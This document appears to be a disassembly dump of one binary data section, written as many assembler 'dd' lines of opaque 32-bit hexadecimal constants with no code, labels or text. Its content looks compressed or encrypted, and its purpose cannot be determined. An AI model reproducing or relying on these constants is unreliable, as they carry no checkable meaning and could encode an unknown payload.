		dd 0E66C7A2Fh, 0C4492212h, 0C076006Ch, 6D52CD89h, 0E3140036h
		dd 44D31C93h, 4E003398h, 430D2CE7h, 0F4D09BB1h,	6E889A08h
		dd 0FF4AC8B5h, 783C404Ch, 2E00407Dh, 738AADDCh,	0D561F6h
		dd 1A862AC5h, 493199D1h, 29770E04h, 40806352h, 0C41484h
		dd 0F3232CA9h, 24FA13Fh, 5593B200h, 6AFDDEF6h, 6C7E2AC2h
		dd 0CFEB00ECh, 0DDAFD7D9h, 0B1008411h, 0A404B252h, 175CAA0h
		dd 0C2888D6Eh, 0C83BFD96h, 940009D7h, 0EE393AAFh, 0D19177h
		dd 1958B6AEh, 781DE122h, 40CD4100h, 234449B2h, 0C2C9250h
		dd 36102569h, 0EE151E79h, 84EC155Dh, 3D308C2Eh,	7902407Ah
		dd 0A111CD66h, 7E046F3h, 0B033DC80h, 6496121h, 0AF08C069h
		dd 20CC3C30h, 75F329Bh,	0FAC959B5h, 0C610609Fh,	0F704F063h
		dd 0F8481F4Fh, 8CDF10C2h, 50DC0458h, 9AE4DEh, 936BF117h
		dd 37360CC3h, 0F26C7F09h, 0E7148E35h, 4B6195EBh, 2C8C8E6h
		dd 0C9D102DBh, 0E80D82BAh, 1C630060h, 4301409Ah, 2B57A61Fh
		dd 28244615h, 48311CECh, 0D3B47DAh, 430280D0h, 0FB099CB8h
		dd 0C79A81h, 36908690h,	609910h, 0EAA57419h, 420A6E30h
		dd 98F9FD7Ah, 909FF000h, 1A75F65Ah, 9A1C335Fh, 2C0770B0h
		dd 0E9F31807h, 0A3494E82h, 9AF8D99Ch, 418CA411h, 712809Ch
		dd 0CC3B61ABh, 8098B9F5h, 7F05E9F7h, 1CFA0250h,	0B3F27680h
		dd 6E9624D5h, 594D07D4h, 0A051502Bh, 3206C872h,	9F284C15h
		dd 40710A58h, 0EAC89E94h, 4DF48320h, 80DC73D8h,	55E18510h
		dd 0D9E7F100h, 0E2656617h, 0D6490347h, 93C2A211h, 3154AAF0h
		dd 33605A01h, 9299D01Eh, 0C03E4CDCh, 0D4BC77F8h, 8D01F0EBh
		dd 3AB18679h, 10DC0E7Fh, 36160023h, 0A59C5DBDh,	5F00AFA2h
		dd 745652Fh, 7C0951Bh, 0D058DDAAh, 2A8272DEh, 2EED2740h
		dd 2E59703h, 0C0F547FBh, 0E6644Bh, 0B04ECFDCh, 927DFAAh
		dd 48559603h, 984BF85Ch, 399AD7h, 11EE5373h, 0A62A1487h
		dd 3DE28300h, 1EEBCA3Bh, 5CD60075h, 69BDFAE0h, 9609088Ah
		dd 803A21A5h, 53AA52E0h, 0C6590091h, 1A37B65h, 0ED1E0785h
		dd 9640D004h, 3A645CB8h, 0AB0D00D1h, 0D54BEBE4h, 9100E9F9h
		dd 6B3619C8h, 3FB61DC9h, 6A3D66FFh, 0D165DA07h,	0C1F202Eh
		dd 0F27D645Ah, 0A7A15609h, 93902032h, 0E6C1249Bh, 5AFAABh
		dd 0A16331AFh, 0FE290879h, 380F7C9Ah, 0C1B7BC89h, 685146C8h
		dd 0F42409F5h, 615B005Ah, 8A9341E4h, 26E4B244h,	0A4CEF503h
		dd 0A0488777h, 17D47FCh, 162072A8h, 0D03F07C4h,	0F100AD6Eh
		dd 0EF233350h, 76E7860Dh, 8D2C3B49h, 0FFB50FFFh, 0F3A03F0Ah
		dd 833BC472h, 44CA7304h, 7A800138h, 61F5DCh, 40362B2Dh
		dd 0EB1A7568h, 0EC7AB398h, 0C389C400h, 0F1D073CBh, 54792CC1h
		dd 0F06000A5h, 1C46102Ah, 80B18902h, 483D34ECh,	0CF7EE8h
		dd 32ACBB7Ch, 2857FA41h, 25724605h, 0B0889122h,	647C49EAh
		dd 0AB81663Fh, 0BB37D9ADh, 0E804E53Bh, 9A005783h, 390710Eh
		dd 3AFB960Dh, 2900FE56h, 8754442Dh, 3737DA25h, 1E907891h
		dd 12A8C6Dh, 0ED63603Bh, 50939F5Eh, 7D42EC0h, 0B89CC300h
		dd 0A0D9A2D6h, 3F4DC4h,	0F5744002h, 0FC6036ABh,	27806150h
		dd 0FEF600DBh, 53B9EE55h, 802422Bh, 9D71C606h, 7094C895h
		dd 0F88963CBh, 94F06136h, 0A3009869h, 49D31F12h, 0F9A858h
		dd 0F7335E35h, 0E868293Fh, 90E6D10Ch, 0FA826870h, 0F013584Bh
		dd 8014AF2Ch, 7D1A919Fh, 0DD05D2B4h, 92B2E7C7h,	9087E8C2h
		dd 5818298Ch, 6B000CB9h, 0D097DF9Bh, 4A0AA0B3h,	8C2D49CEh
		dd 0D31DE381h, 9461C45Ah, 0E52FE4h, 0DEC3FEBFh,	734C5011h
		dd 8EBAB600h, 554F6213h, 0E5FCED30h, 5BE80012h,	0AE61CC18h
		dd 0F35CAAB4h, 2E4300F8h, 0E08E6234h, 31530ABBh, 28A492F9h
		dd 0D4D91FA3h, 8054EC3Ch, 0DA7BE77Ch, 0B326798Bh, 4B04C4E3h
		dd 683684F9h, 217461Ch,	0C0F41684h, 0FF3B8C90h,	4DE6073Ah
		dd 7FB49C78h, 2B2685BFh, 1348208Ch, 0E31264C1h,	40881498h
		dd 86F291h, 0F4697541h,	0C9BBDAB6h, 43C8FB07h, 0AEF09EEEh
		dd 0D148D0h, 4C22D88Ch,	39B67F53h, 1E0C9CA8h, 61677CB1h
		dd 0A0F2C1C0h, 17494E53h, 0FAE0074Eh, 600AC791h, 50B69314h
		dd 20E0E700h, 726A3C1Ch, 16E2EEA7h, 60FE6FD6h, 6ECA34B0h
		dd 0C50C8012h, 773FC48Bh, 9BD09AB0h, 2303B8BEh,	6B30F818h
		dd 0EE20011Ch, 0E4F57634h, 0C1B028CFh, 80C36AC0h, 0C70B2029h
		dd 34A0ACB7h, 3FFA4C1Ah, 0C0E1FD00h, 0EFBE77Fh,	0C8724B4h
		dd 124F8798h, 644EE0CBh, 0A0086267h, 806CA1D0h,	0ED46A750h
		dd 0F50915FEh, 0C509D6h, 0EBAB313h, 0D3650024h,	0D5E3E0A1h
		dd 9A006D16h, 0AC70D9EDh, 0A3A48Dh, 2DFBDC81h, 0BC143201h
		dd 0FC219928h, 1127340h, 0CA189AE2h, 20C5561Eh,	0F11DA22Bh
		dd 4B8194A9h, 78D2E870h, 3F488E0h, 7BAAFADEh, 0B6D850E5h
		dd 0A0F01529h, 3B57890Ch, 5AFB03Dh, 14EBE1BEh, 8EE445CAh
		dd 0D4B04B3Fh, 0C457A810h, 0EA308A62h, 1B84A362h, 0FA28053Ah
		dd 81F772EBh, 0E0D1C998h, 63003C6Eh, 112456B0h,	114CD17h
		dd 432D5DAEh, 0E4E5A78Fh, 9B2406CBh, 3D26D5B1h,	0DDE60E00h
		dd 384A43Eh, 103896AAh
		dd 0D5A83177h, 0FB000736h, 6E2E689Bh, 65ABF1h, 168C54DAh
		dd 636479A8h, 0E5151A00h, 8AC8DF4Dh, 3C8F4CF3h,	0E6562E00h
		dd 3EEE49B9h, 9800ED73h, 2DA1F105h, 24C9297Fh, 0D3F9C1h
		dd 0D94B216Ch, 27EC4174h, 777B0201h, 0AC9907E9h, 3835A570h
		dd 14818926h, 2CEDDFAh,	0B040EEC4h, 0F8075DADh,	9DE82913h
		dd 88BAA200h, 7763014Dh, 2C8CC23Ah, 0F10EE0B5h,	2C19402h
		dd 0C0E23C4Bh, 1286A14Ch, 0E5E9D91h, 0C82068B9h, 5B238CAAh
		dd 0C9F7CD02h, 0E06C7AA4h, 0C0E44330h, 3CAF376Ah, 0D50013F4h
		dd 12CC4504h, 4EEC78h, 0D712083h, 0C38AB198h, 0EFF3AE00h
		dd 0F84CA7FCh, 16B7C33h, 5ECF7DF0h, 70A08F93h, 6909B8FCh
		dd 8EDCE354h, 0BDF1E0FBh, 854539h, 8FA41E62h, 751554C3h
		dd 619DE4F7h, 6FE30F00h, 681611C5h, 0BD5101BAh,	8693ADFCh
		dd 42188055h, 2B58B4AFh, 0BE4BA7Fh, 0AE379BBEh,	93ED4880h
		dd 950F9908h, 40B68940h, 271F864h, 657200F1h, 1B342FBCh
		dd 503B7DAh, 7DA3134Ch,	0BBE1E80Fh, 781490E7h, 270900F2h
		dd 92C797ECh, 0A8C0A1AAh, 2CC0B5C5h, 0C763ADDh,	0C4F18F1Eh
		dd 0C0BBDF46h, 59DA3C40h, 2715F81Eh, 0B83500B8h, 0CF335336h
		dd 618C3A08h, 6EA8B289h, 7F3D3180h, 11C28F06h, 0C0F1E5C9h
		dd 0B0259547h, 48CD0042h, 60125F3Fh, 0C6ECECBAh, 0B10F9800h
		dd 81F893C0h, 60B00B3h,	17755A27h, 3C00782Eh, 40B8AAB9h
		dd 797CF2Ch, 0F31650C9h, 296720CDh, 0E2004290h,	196305DCh
		dd 312B09h, 0B477655Ch,	0BA44793Ch, 0F7FC0324h,	8132E1Ch
		dd 82B5CC40h, 0D60A22h,	0F9362115h, 1A607C2Ah, 9A6AD800h
		dd 0BB0B0C38h, 618401E8h, 18588A0h, 0E3C0E6C0h,	40F4B6E2h
		dd 0B2D71A01h, 16753914h, 99E4FBEDh, 1C5B76D8h,	80D0E761h
		dd 2B2EEC62h, 5E002FDEh, 850DF1B1h, 48056FFEh, 140077A1h
		dd 37642E7Eh, 0D2E2A339h, 10DEB100h, 4F569EE0h,	0D832E5Ah
		dd 0D49A0FF7h, 1C5E4900h, 0DA4CBAF9h, 3E506C9h,	0F0D89F71h
		dd 0CAE3C9Ah, 794DC000h, 0E5F94585h, 9759A600h,	36BEC7DEh
		dd 7771137Eh, 7C3A029Fh, 0DCD0133Dh, 8851870Eh,	2D6DE7C4h
		dd 8401C35Fh, 0B5D804E3h, 0C1E19D47h, 2CF1F8D0h, 214B0460h
		dd 74D7307Bh, 5BFE0AD0h, 7183008Bh, 87D84313h, 0FCE8285Eh
		dd 19121AFCh, 2C008154h, 118A76BBh, 0EDD60094h,	0FE4B8A0h
		dd 700069BAh, 4B989664h, 432B2Dh, 0AFC54C18h, 5B03710Ah
		dd 12733F00h, 0D22ADB39h, 49310E1Fh, 27E00D44h,	3DEC4230h
		dd 95BBBE00h, 2318B568h, 0B89824h, 6DF93526h, 0CF1A57C1h
		dd 6A756100h, 93E4CC20h, 3A07006Eh, 0A9298108h,	2A036F27h
		dd 3498CB76h, 0E1A5F805h, 51280163h, 0FB9FE98Dh, 1B0D7B9h
		dd 70F13D5h, 0E0BD7848h, 9252C228h, 67E500C8h, 0D7839AC9h
		dd 0AD00A3E7h, 4A54F0F4h, 0F1DD090h, 0FCD1C837h, 0EA0DFE0h
		dd 4800A3D5h, 873BA55Eh, 138A1Dh, 3A1564Ch, 0AFC9780Dh
		dd 0ECDC25h, 25F4DF90h,	0A2452C1Fh, 4CDA80C8h, 0A762198Eh
		dd 8A567F03h, 0AD364BF8h, 6B909487h, 3BBE93C7h,	0C203B129h
		dd 24040AF1h, 0C458B0CDh, 7F773A00h, 8E236A73h,	0E90200B6h
		dd 90BA5F4Eh, 4C0025C7h, 0B43E4249h, 6E4C2h, 848A260h
		dd 0B29819ABh, 0AE0E1A00h, 0C07CDC9Eh, 13837C89h, 443778h
		dd 1D40E463h, 7918921Ah, 1FC996A5h, 0F4445D3Ah,	353F9F00h
		dd 0E257915Ch, 1B97B817h, 671E701Eh, 0D8A64200h, 1E9E73h
		dd 1514FEE3h, 46C41150h, 0E7F441C7h, 0AF79E4D1h, 0EDD3040h
		dd 0D150007Dh, 196CB547h, 3C741049h, 292CCF00h,	529ACE06h
		dd 0B2C90026h, 0A5F69371h, 8E00AA36h, 70D666B9h, 2395014h
		dd 0A96F8504h, 0DB6225F5h, 1CB13C20h, 67008752h, 0B6C1DE3Eh
		dd 2729EF0h, 0CF65AF13h, 3C6810B3h, 99C19D83h, 0CDE75D42h
		dd 0FA74FD30h, 8F98D9h,	0B729DCF1h, 421FD085h, 3C64E70Ah
		dd 100BA890h, 0F8E4C0B2h, 15B800B6h, 3E2362C8h,	31008730h
		dd 0C795B5C0h, 0D29D88h, 66A958DEh, 86F570C4h, 8E79ED60h
		dd 1F1752AAh, 8727AC1Ah, 0E624441Fh, 0D30E21E7h, 60985342h
		dd 69C02899h, 5AD0010h,	64FBC911h, 81F331FFh, 5281A6F9h
		dd 43C9E86Fh, 0ABB78ECh, 8B830D99h, 0B16A988Ch,	0C3002AF0h
		dd 759B3688h, 0FDA8BFh,	0ADAB43D2h, 693BFBB7h, 0EE3844BAh
		dd 0FAF0050h, 0CC32DD16h, 8056609h, 4900219Ch, 66FCAF69h
		dd 3F487D3h, 8E3A9EC4h,	99001C36h, 0BF2F240Dh, 78BAABh
		dd 4007BD71h, 0B8E719D7h, 94C438A5h, 0B13DCD60h, 0DAD15267h
		dd 0CA9D2850h, 46CE0651h, 315F4265h, 137ED481h,	0DB1D007h
		dd 0F4930016h, 52A29C8Dh, 60E84CBh, 40CF217Bh, 102B5417h
		dd 0A48B0087h, 0E2F0B0E0h, 0A81DF4FCh, 6200A77Dh, 8B56B2E4h
		dd 71450C96h, 8C616C5Dh, 0D6B0E51Fh, 1FA06B80h,	714F5E9h
		dd 9624C64Ch, 0DC147FD1h, 712B8C44h, 0EF08D465h, 0DB81416Fh
		dd 80C1831Ah, 1F0ABA11h, 143B41F1h, 1466657Ch, 6818A70Fh
		dd 3D1189CCh, 0CDEF5F01h, 0E9654411h, 17F0F9F1h, 94FA4AFCh
		dd 0EA042F98h, 0CE000F3Fh, 8B1E9A90h, 0BA260599h, 7E914865h
		dd 0DD5970Fh, 371A27C0h, 4300FFE0h, 75E7DD55h, 68E6AFh
		dd 45AAF280h, 2ED3739Ah, 1F1BE418h, 1B07969h, 9D55072h
		dd 82130F9Bh, 22176919h, 668C438h, 2C6BBC55h, 0F80081B1h
		dd 0E0012326h, 6406E43h, 0CE43C68h, 0B13031AAh,	0A6A52967h
		dd 0CA64006Eh, 0F71AEF30h, 0E43B8DC7h, 17319968h, 80F4E731h
		dd 3527422h, 3049409Bh,	4D065F4h, 301A787h, 58ED0BE7h
		dd 90509383h, 57D952h, 0F9170654h, 0BCDAB72Ch, 3631EA04h
		dd 0A60E8B43h, 0EB470056h, 0E218AA75h, 0C9C5AE03h, 0C83DE6A7h
		dd 0F4FDAC03h, 352F0190h, 99EF1784h, 0DE608571h, 9806185Fh
		dd 0E8E069F9h, 0D7162E1Bh, 44891464h, 0C2093900h, 0BB10E057h
		dd 872BDF04h, 77C02E1Bh, 0E98686Dh, 318B0A73h, 5880B034h
		dd 90A8B815h, 84EBF70Ch, 0C0408179h, 0B813DF21h, 90024C21h
		dd 68AC2AE9h, 86E46441h, 4A1079Ch, 0DFB8BD36h, 6FA779CEh
		dd 0A2B570DEh, 0C6001A38h, 1E99FBFFh, 6036AA2Ch, 15643911h
		dd 0AF066FD6h, 0AD280FDh, 34C129B0h, 185A5954h,	161D00CAh
		dd 0A8837557h, 4E310D1Fh, 63B1F85Ch, 510424h, 2FD178F6h
		dd 0A560AC80h, 77994B00h, 0B140C07Eh, 2129C170h, 0DC94909Dh
		dd 3401E7EBh, 0C546A802h, 93F64068h, 5047D480h,	0BCC40022h
		dd 7300B6B7h, 5F856334h, 593F41Ch, 0E26F7BC3h, 8F93C009h
		dd 39C0A936h, 0A1EAD5DCh, 449A0080h, 526D9734h,	41007FBBh
		dd 78B119C2h, 0C21C4563h, 16FBB6A0h, 11EB4CCh, 0D591BCAFh
		dd 1EFCE884h, 33AF0E80h, 2E6A53CDh, 26481CBh, 66A8BBDBh
		dd 1E49DE8Ch, 0F0FB901Eh, 72396780h, 740EAF5h, 2BE88B63h
		dd 36299C7Ah, 7B3AE70Eh, 1168E051h, 1AE61939h, 0A0233114h
		dd 6E7663C0h, 2E619000h, 0AD2DA2E9h, 4241008Fh,	69AC132Bh
		dd 9B062216h, 8E647D09h, 1A100159h, 450E3919h, 89FDD450h
		dd 0E8B4555Ch, 830B8CC3h, 90B21159h, 7E7F092Ch,	65A40AFEh
		dd 0CBA8192Bh, 40672C04h, 35956CB3h, 0E6DF0032h, 1DF3FA60h
		dd 42012ED1h, 0BACD2723h, 2422B05Ch, 1DB74300h,	90D0A535h
		dd 2218B605h, 0B0369CA9h, 7B0F46C0h, 1A155208h,	4CF1C4BCh
		dd 6D92001h, 867A5FB7h,	770019F2h, 5CF4D28Eh, 87AD06h
		dd 1C724A45h, 216ACBB1h
		dd 0B2CF7A1Eh, 0FC119CE6h, 0C4E7170Dh, 5080D941h, 94E028B4h
		dd 58A40909h, 37BA808Ah, 2D47439h, 88BF7519h, 286486E8h
		dd 8E5230EDh, 9C9B7A0Ch, 142CF96Fh, 0FC18D610h,	0E723510h
		dd 80EF5E3Ch, 0DE6617FBh, 0BD7800A9h, 32BB45DDh, 6500C722h
		dd 0FCB8F110h, 12AD5B36h, 88AEE41Bh, 0CC002B30h, 94DCE9D8h
		dd 750302Ch, 1AFBD19Bh,	0F1E4D30Eh, 19F759B8h, 88696803h
		dd 22FF798Bh, 83306498h, 9997B9C0h, 8F890007h, 5BA2781Fh
		dd 662612E6h, 0AC3944CAh, 0A036436h, 76B040F8h,	0D66C0481h
		dd 0D7E902C4h, 80C36F0h, 4C215360h, 507C401h, 0D072D843h
		dd 66F800A2h, 370E8BBh,	0A402F4ACh, 5C1A1152h, 2D001624h
		dd 91855354h, 12C20A4h,	59B63E4h, 84D45EB6h, 66C60D38h
		dd 0D8185CC3h, 0BA5FDh,	87092334h, 0B0A9CEF7h, 12802CF3h
		dd 20916D7Dh, 0C47173Ch, 0B1414780h, 2DC1C05Fh,	8285BE7Ch
		dd 3E5E2400h, 95BA1AAh,	0FCF11CA9h, 0ADF78081h,	0E583E311h
		dd 0F8B3613h, 0B080C064h, 4C2790A6h, 90DDC035h,	21B90E8Bh
		dd 2C23A0B8h, 0E941C211h, 26C6C8D8h, 402068B2h,	0C5EFB6F7h
		dd 11DC2D01h, 15191022h, 18310CC1h, 0BD17E0h, 0AEC46D76h
		dd 68F2E42Bh, 66B081C6h, 2878C9h, 0A5E92D67h, 0FC61DDAh
		dd 29163630h, 614DFCF5h, 45F5ED0h, 0FECCC18h, 2082F302h
		dd 99FE6810h, 99BC3990h, 45F11A00h, 0C07CE811h,	7A07B318h
		dd 146D8C71h, 0C8723BC6h, 427DF906h, 5E583968h,	9BC401A8h
		dd 0E0DCE167h, 3BD48020h, 88809316h, 15E71E9Fh,	58CB9163h
		dd 6389FD5Eh, 59DD7C23h, 0FF683811h, 0D99D127Fh, 0DD00C012h
		dd 24A0E270h, 0D7E1C8Dh, 0A605B890h, 4026CC0Ah,	76B1820h
		dd 16939025h, 876F620Eh, 4EBC0060h, 0EA013779h,	0D61606FAh
		dd 9BDCB1A2h, 0E2EB0141h, 9ABB15E3h, 0E98C2096h, 63952C00h
		dd 0F4B03DCFh, 5A2E421h, 256DE713h, 0B8949644h,	12EF4C10h
		dd 0FF388C05h, 9F9C4818h, 5F05459Dh, 64D0FD2Fh,	788AA9EEh
		dd 5DD62412h, 789B07DCh, 830CC860h, 7BA2399Ch, 0FCD23836h
		dd 7413805h, 98B80ADh, 0CF00891Ah, 62186C06h, 196EBCh
		dd 7E345DE4h, 0EB228E95h, 0B996740Eh, 0B2A74069h, 2EE4DD06h
		dd 89F9E0h, 598E07C9h, 4C1D8854h, 3A004ABFh, 0CA86C391h
		dd 0BBC3B4Dh, 0EE0CB902h, 7852ECF6h, 8C1FF210h,	0BF866004h
		dd 0C50C9085h, 9A3C48AFh, 88984073h, 865C6717h,	0A3106454h
		dd 41183CC0h, 185D899Fh, 4FC404DBh, 32E4C3EAh, 62F2056h
		dd 5F4C52C4h, 391D309Eh, 92B0A3h, 122BF07Dh, 7893362h
		dd 0FC728712h, 3C49A404h, 2F11A082h, 78ED903Dh,	2BABDC0Ah
		dd 46564408h, 404F0051h, 8F885A95h, 0C8EC4D6Ch,	938B8600h
		dd 4EC615C7h, 0C1E8E9D0h, 2D75D2F3h, 431CFCh, 3D25D404h
		dd 3379AAFBh, 9B58BF17h, 2246BC30h, 0CCFD01A1h,	85285D95h
		dd 0D64980E5h, 23675657h, 97650086h, 3B62A996h,	2A7CC712h
		dd 61D91101h, 17F88D42h, 95E8D43Ch, 0C103008Ch,	40BEB0ABh
		dd 8630DB59h, 5C9521CFh, 0B3510188h, 96A0ABACh,	12EEC461h
		dd 728E331Ch, 0F039148Ah, 89804311h, 73E901C4h,	25C0E742h
		dd 7A18C43Ch, 6EF4F47Dh, 1E9B9800h, 9391238Ch, 4C8B79BAh
		dd 0B4018016h, 0C283C40h, 24D8D939h, 0D13B730h,	50015A0Eh
		dd 78C3DA9Dh, 0BDA94070h, 0C5E4790Eh, 2000B187h, 4014F308h
		dd 0E120B603h, 0C718D2D6h, 0A40E702Bh, 2E52AB01h, 9B18B41Ah
		dd 0DC435F8Ah, 0D01B0B91h, 5909598h, 31026512h,	13324820h
		dd 0B69100B3h, 16BC7E55h, 0A970F121h, 5F151474h, 907BB1h
		dd 5B54A54Bh, 73C7DEh, 0BF9F87B8h, 3971CB18h, 28134A16h
		dd 8ACC5305h, 0C84CB0ACh, 0C3834210h, 8A1A52A7h, 2C001C54h
		dd 3E5D535Fh, 73B0ADh, 0FED1656Bh, 23A7729Fh, 470B41ECh
		dd 605D14E7h, 4AFBB61Ch, 3C4303Ch, 162D8AAFh, 3781605h
		dd 0C1AF6830h, 6AE8317Dh, 78168AA2h, 0FC90395Eh, 96C469h
		dd 5001AFA3h, 0B90E3E86h, 16636100h, 0F011B090h, 0CEB1C2CCh
		dd 88C4B15Eh, 67DBC000h, 0A1219505h, 0D64A2888h, 0C8A44888h
		dd 23BE0E09h, 80EA2801h, 4C2032C9h, 0F0302C5Ch,	0ABB82EC0h
		dd 0ECFF2190h, 0DE74A0A7h, 3AB820h, 0F22347CAh,	3D5A303Ch
		dd 0A9958B0Ch, 8CDD502Ch, 0A4B81102h, 16351790h, 0B81FD300h
		dd 0EF6C23B1h, 0CEDB178Dh, 3EF7097Bh, 185E9499h, 4C404D4h
		dd 32ED3BE9h, 0DF32205Dh, 0F1FACAC4h, 0D29DE10Bh, 0BC8C2004h
		dd 4CBB78FCh, 0EB80D07Ah, 738F62A3h, 0BF173779h, 64408236h
		dd 0B1D63FE5h, 0BAF10060h, 5EF9482Fh, 4D0FFF7Dh, 0CBB331A4h
		dd 65780189h, 0D1A5BB42h, 0E691CC17h, 0F8A2C09Dh, 0B826B73Ch
		dd 816B1016h, 0D93AB8A8h, 9BC06804h, 0B364B48Bh, 672FCE05h
		dd 0F8C91913h, 0E784444Eh, 0C82C30FCh, 3A840023h, 996B049Eh
		dd 7806E860h, 0E417414Dh, 208C3B71h, 6E1A5182h,	884A0E65h
		dd 81818FDFh, 8D416882h, 15BB79A0h, 0BC73CE61h,	0BB256981h
		dd 0E88BE4BFh, 0C0A46879h, 71909B18h, 0F07AEA69h, 0E58D24A7h
		dd 48209174h, 6923E0h, 1A1352A6h, 4486244Ch, 5E00DF96h
		dd 0E5089353h, 0A9979C7h, 1CEA61C8h, 0D9DCA9A8h, 979858E5h
		dd 9E6DCB00h, 2D9F6061h, 17D21FC0h, 6F0E40B5h, 0F4844AC7h
		dd 4154B651h, 807DB188h, 1B2224E1h, 0FAE1C515h,	3B9400ACh
		dd 0FE9E0595h, 105794Ch, 1970D686h, 0FC2128C1h,	0EA9DB440h
		dd 0A4145069h, 4D0501B6h, 0C6FF6728h, 0C46826h,	0B3CE5B49h
		dd 1D73EF71h, 0C06DA3E8h, 22262346h, 8D30A29Eh,	156B401Ch
		dd 0E07A3Ch, 6DA8EB72h,	0B6994531h, 2239170Ah, 1509F423h
		dd 0C458C5C7h, 56560C3h, 6540017h, 0CB8B8867h, 9609D542h
		dd 41E9BD0Ch, 69E47058h, 9044B36Dh, 0A7E704F9h,	30E0E4C9h
		dd 54D21691h, 781282h, 97C383C4h, 0BC0B6772h, 3992A1D5h
		dd 0C1024E88h, 0D423209Ch, 9E7800C5h, 5118D629h, 7A12CE00h
		dd 0AF8D5D9Dh, 129CB813h, 86208339h, 96FE20D0h,	4853A45Fh
		dd 6B65CF4h, 3D638DF8h,	155AE041h, 5EC37027h, 0C2F6C116h
		dd 0A907A828h, 0AA67B1CEh, 8E66009Ch, 0EE0AFBB7h, 6A30431Dh
		dd 0B950891Bh, 31021006h, 98A5D476h, 0B130ACh, 76535B86h
		dd 8C33A267h, 0D50DE9C1h, 0BB01C11Bh, 65B2E01Fh, 0D22EE8B2h
		dd 6607521Ch, 4F0B7DEh,	0E4674295h, 40726269h, 30F9CFFFh
		dd 0BBE842E1h, 7431DB60h, 83C60C09h, 2DD89C43h,	47B89550h
		dd 71340248h, 0E3A84E02h, 0C0B62414h, 34961594h, 0C330706Dh
		dd 0F4C769A0h, 2E08C091h, 74B8CFD7h, 0B07D6509h, 0B57C0F42h
		dd 66185028h, 0B00819D7h, 1F118473h, 0ADCAD83h,	60577266h
		dd 0D41022C0h, 2DE4191Bh, 107FA891h, 48377D6Bh,	904088D5h
		dd 719030h, 1BC1A98Eh, 0B10D1019h, 705279C1h, 7C4817EEh
		dd 3384ACE7h, 0CE79C2BDh, 731296E0h, 3D8418D0h,	18C64449h
		dd 40954AFAh, 90C84D27h, 68946429h, 4D1430E4h, 0DAB5CF49h
		dd 3803D034h, 3AD3DC80h, 8B2801F8h, 0D8FD914h, 0E981804Eh
		dd 0BF13E77Eh, 3031C227h, 8B431C0Ch, 0BB8C8FD0h, 95BA50A3h
		dd 6D781C80h, 10F067D1h, 1C92EE90h, 0ED608B06h,	11BA1Dh
		dd 1696B093h, 98A7F013h, 0BC68C42Ah, 9B90C9h, 6788A9BBh
		dd 362F134Ch, 0FC0CE1BFh, 0F2189989h, 710755Eh,	98470FA1h
		dd 14806FAFh, 0DEEE645h, 940634A2h, 20E2C1D4h, 85BD8C3Ah
		dd 0DCBA7BC9h, 878A058h
		dd 1E58C9CCh, 84390023h, 0ADA0EDB9h, 0CB009099h, 259E0D7Ah
		dd 0CC10E974h, 0CF500ABCh, 1D3A0F84h, 7E5A5C65h, 260ACEEAh
		dd 0EF09340Bh, 0C05990Eh, 0AF79488Eh, 10E49040h, 91A2E978h
		dd 0F908A900h, 1880F547h, 1E98784Ch, 0F04DEE75h, 0C49B0C34h
		dd 510B396Dh, 108A54BDh, 11BCAE5Ch, 0A04F097Dh,	65440648h
		dd 0B0CE0041h, 0DBC0639Dh, 4360D29Fh, 220DB7B1h, 15109989h
		dd 0FA750C6Dh, 1D48889Bh, 71EA3784h, 68395131h,	7DC84043h
		dd 18CF5321h, 64548991h, 561894BCh, 5600E746h, 0F436C94Dh
		dd 0C72CB308h, 1C8C740Eh, 13E328F0h, 18246D64h,	0BA962090h
		dd 1CB89B52h, 42920AF8h, 7088188Ch, 0DBE910C4h,	8057C8E4h
		dd 7C43326h, 0D707CB1Dh, 0D18BAF0h, 62A96CD0h, 3B535F91h
		dd 8B8D1098h, 0F3EDC4C0h, 860094CCh, 44CEFB93h,	0B001560Bh
		dd 1226009Fh, 8B1635A7h, 9F59B6B5h, 5BC0B14h, 60F4CA59h
		dd 82173208h, 52814C60h, 0C307EA00h, 0E6D25A84h, 2A8B0075h
		dd 0BF493625h, 4F0005E9h, 346ADAF5h, 10F53BBh, 6BD4FDE2h
		dd 0C423FA13h, 3B00749Fh, 92670D59h, 940F345h, 0C632EAA5h
		dd 81D12900h, 4CEE1A42h, 9FCC6B00h, 0DF390C2h, 36050E41h
		dd 82740255h, 1350AA00h, 455240F2h, 0B4782418h,	649451h
		dd 4C302A51h, 4364376h,	219F08CCh, 51680077h, 10C7B2C1h
		dd 0F70B2939h, 87692EF8h, 0AB205A8Eh, 750BD10Dh, 0A6261BFAh
		dd 603A3843h, 0ED7E0C21h, 0D31111h, 9B64F7D1h, 73799733h
		dd 189A033Ah, 0CD204F67h, 0AF71EBBh, 81A55807h,	5B1DF1B8h
		dd 0C183A1C4h, 0E87C5749h, 0D6D71BDh, 4E92EA99h, 0F8BCE4E0h
		dd 78801E6Ch, 0DD0E8C6Ah, 0A89B60F7h, 4065649Ah, 0EAF707D9h
		dd 0F4420C37h, 53917EDh, 8F021800h, 0D3A3FD66h,	0B3EF061Ah
		dd 68464BDCh, 0A412B82Ah, 0C60B86F2h, 80EC2674h, 76B0B643h
		dd 0A57C008Bh, 6013E041h, 2E021D5Fh, 4EE7C6B4h,	2E9C8EA4h
		dd 8B06E0F3h, 0BD5C25h,	0C2684BEEh, 0E0558049h,	75599200h
		dd 0AB3E9A57h, 8C54001Bh, 0B1CA4321h, 0C70073AAh, 6F38965h
		dd 0BF24E3h, 176E5A8Eh,	6F8F186Ch, 7A00AC71h, 445EB3Dh
		dd 0A4E1D2h, 8ECB43F8h,	175A57DFh, 31CCBA01h, 0F3EF6056h
		dd 0FDB8F540h, 22721C8Fh, 0EA98400Fh, 9F7D8623h, 0B70157FEh
		dd 371746E7h, 4080F9D6h, 70A0E455h, 0D4008772h,	9827ACDEh
		dd 64C8BCh, 0CCD7F825h,	4432F90Fh, 33968600h, 0CA065A83h
		dd 92DF00CFh, 1F12E398h, 97071B62h, 954BD6CDh, 1075A3h
		dd 0B9964A61h, 36130324h, 2CFFA938h, 853DB13Fh,	48C65C92h
		dd 0A273C481h, 0E4DD20h, 70D5CD85h, 0C16B61F1h,	34526F03h
		dd 0E33608ABh, 0D0596545h, 230C00FEh, 0D935C652h, 99211363h
		dd 5A08014Ch, 0CE7378E2h, 962DF09Ch, 0B965423Dh, 54E094D6h
		dd 0C47A00A4h, 8DA93923h, 0C3E50C59h, 0E688A7CCh, 0A89A9900h
		dd 4458FB60h, 5D39006Eh, 6F36BAC6h, 4700D7CAh, 8ACF068Dh
		dd 655EEB91h, 6C45115Bh, 0E530F604h, 0FC241066h, 3A93C2Ah
